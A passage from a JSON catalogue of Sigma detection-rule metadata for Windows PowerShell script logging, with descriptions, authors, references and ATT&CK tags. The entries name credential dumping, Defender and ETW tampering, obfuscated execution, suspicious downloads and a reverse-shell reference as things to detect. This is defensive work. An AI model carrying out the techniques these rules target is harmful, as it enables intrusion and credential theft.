          "attack.exfiltration"
        ]
      },
      "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4",
      "value": "Suspicious PowerShell Mailbox Export to Share - PS"
    },
    {
      "description": "Detects powershell scripts that import modules from suspicious directories",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_import_module_susp_dirs.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab",
      "value": "Import PowerShell Modules From Suspicious Directories"
    },
    {
      "description": "Detect adversaries enumerate sensitive files",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_sensitive_file_discovery.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1570814999370801158",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
        ]
      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997",
      "value": "Powershell Sensitive File Discovery"
    },
    {
      "description": "Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "The same functionality can be implemented by admin scripts, correlate with name and creator"
        ],
        "filename": "posh_ps_resolve_list_of_ip_from_file.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.fortypoundhead.com/showcontent.asp?artid=24022",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_resolve_list_of_ip_from_file.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1020"
        ]
      },
      "related": [
        {
          "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fbc5e92f-3044-4e73-a5c6-1c4359b539de",
      "value": "PowerShell Script With File Hostname Resolving Capabilities"
    },
    {
      "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_dump_password_windows_credential_manager.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555"
        ]
      },
      "related": [
        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc",
      "value": "Dump Credentials from Windows Credential Manager With PowerShell"
    },
    {
      "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_susp_ssl_keyword.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1573"
        ]
      },
      "related": [
        {
          "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078",
      "value": "Suspicious SSL Connection"
    },
    {
      "description": "Detects usage of \"Reflection.Assembly\" load functions to dynamically load assemblies in memory",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/25",
        "falsepositive": [
          "Legitimate use of the library"
        ],
        "filename": "posh_ps_dotnet_assembly_from_file.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dotnet_assembly_from_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1620"
        ]
      },
      "related": [
        {
          "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ddcd88cb-7f62-4ce5-86f9-1704190feb0a",
      "value": "Potential In-Memory Execution Using Reflection.Assembly"
    },
    {
      "description": "Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.\n",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/12/04",
        "falsepositive": [
          "As the script block is a blob of text. False positive may occur with scripts that contain the keyword as a reference or simply use it for detection."
        ],
        "filename": "posh_ps_hktl_winpwn.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team",
          "https://github.com/S3cur3Th1sSh1t/WinPwn",
          "https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md",
          "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/",
          "https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_winpwn.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.discovery",
          "attack.execution",
          "attack.privilege_escalation",
          "attack.t1046",
          "attack.t1082",
          "attack.t1106",
          "attack.t1518",
          "attack.t1548.002",
          "attack.t1552.001",
          "attack.t1555",
          "attack.t1555.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "851fd622-b675-4d26-b803-14bc7baa517a",
      "value": "HackTool - WinPwn Execution - ScriptBlock"
    },
    {
      "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/06",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_get_adreplaccount.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount",
          "https://www.powershellgallery.com/packages/DSInternals",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml"
        ],
        "tags": [
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          "attack.t1003.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73",
      "value": "Suspicious Get-ADReplAccount"
    },
    {
      "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_etw_trace_evasion.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml"
        ],
        "tags": [
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          "attack.t1070",
          "attack.t1562.006",
          "car.2016-04-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8",
      "value": "Disable of ETW Trace - Powershell"
    },
    {
      "description": "Detects use of Set-ExecutionPolicy to set insecure policies",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/10/20",
        "falsepositive": [
          "Administrator script"
        ],
        "filename": "posh_ps_set_policies_to_unsecure_level.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1",
          "https://adsecurity.org/?p=2604",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b",
      "value": "Change PowerShell Policies to an Insecure Level - PowerShell"
    },
    {
      "description": "Enumerates Active Directory to determine computers that are joined to the domain",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_directorysearcher.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480",
      "value": "DirectorySearcher Powershell Exploitation"
    },
    {
      "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/01",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_unblock_file.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
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    },
    {
      "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Admin script"
        ],
        "filename": "posh_ps_susp_win32_pnpentity.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1120"
        ]
      },
      "related": [
        {
          "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b26647de-4feb-4283-af6b-6117661283c5",
      "value": "Powershell Suspicious Win32_PnPEntity"
    },
    {
      "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_enumerate_password_windows_credential_manager.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml"
        ],
        "tags": [
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          "attack.t1555"
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      },
      "related": [
        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "603c6630-5225-49c1-8047-26c964553e0e",
      "value": "Enumerate Credentials from Windows Credential Manager With PowerShell"
    },
    {
      "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2019/10/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b",
      "value": "Invoke-Obfuscation Via Use Rundll32 - PowerShell"
    },
    {
      "description": "Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_tamper_windows_defender_rem_mp.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_rem_mp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458",
      "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging"
    },
    {
      "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/02",
        "falsepositive": [
          "Legitimate administration script"
        ],
        "filename": "posh_ps_susp_execute_batch_script.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
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      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88",
      "value": "Powershell Execute Batch Script"
    },
    {
      "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014",
      "meta": {
        "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community",
        "creation_date": "2019/11/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7",
      "value": "Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell"
    },
    {
      "description": "Detects usage of the \"Add-AppxPackage\" or it's alias \"Add-AppPackage\" to install unsigned AppX packages",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Installation of unsigned packages for testing purposes"
        ],
        "filename": "posh_ps_install_unsigned_appx_packages.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package",
          "https://twitter.com/WindowsDocs/status/1620078135080325122",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_install_unsigned_appx_packages.yml"
        ],
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          "attack.persistence",
          "attack.defense_evasion"
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      },
      "uuid": "975b2262-9a49-439d-92a6-0709cccdf0b2",
      "value": "Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript"
    },
    {
      "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "posh_ps_modify_group_policy_settings.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1484.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f",
      "value": "Modify Group Policy Settings - ScriptBlockLogging"
    },
    {
      "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_store_file_in_alternate_data_stream.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9",
      "value": "Powershell Store File In Alternate Data Stream"
    },
    {
      "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_capture_screenshots.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1113"
        ]
      },
      "related": [
        {
          "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d4a11f63-2390-411c-9adf-d791fd152830",
      "value": "Windows Screen Capture with CopyFromScreen"
    },
    {
      "description": "Detects suspicious PowerShell download command",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "PowerShell scripts that download content from the Internet"
        ],
        "filename": "posh_ps_susp_download.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb",
      "value": "Suspicious PowerShell Download - Powershell Script"
    },
    {
      "description": "Powershell Remove-Item  with -Path to delete a file or a folder with \"-Recurse\"",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/15",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_remove_item_path.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf",
      "value": "Use Remove-Item to Delete File"
    },
    {
      "description": "Detects PowerShell calling a credential prompt",
      "meta": {
        "author": "John Lambert (idea), Florian Roth (Nextron Systems)",
        "creation_date": "2017/04/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_prompt_credentials.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/JohnLaTwC/status/850381440629981184",
          "https://t.co/ezOTGy1a1G",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e",
      "value": "PowerShell Credential Prompt"
    },
    {
      "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "posh_ps_invoke_command_remote.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml"
        ],
        "tags": [
          "attack.lateral_movement",
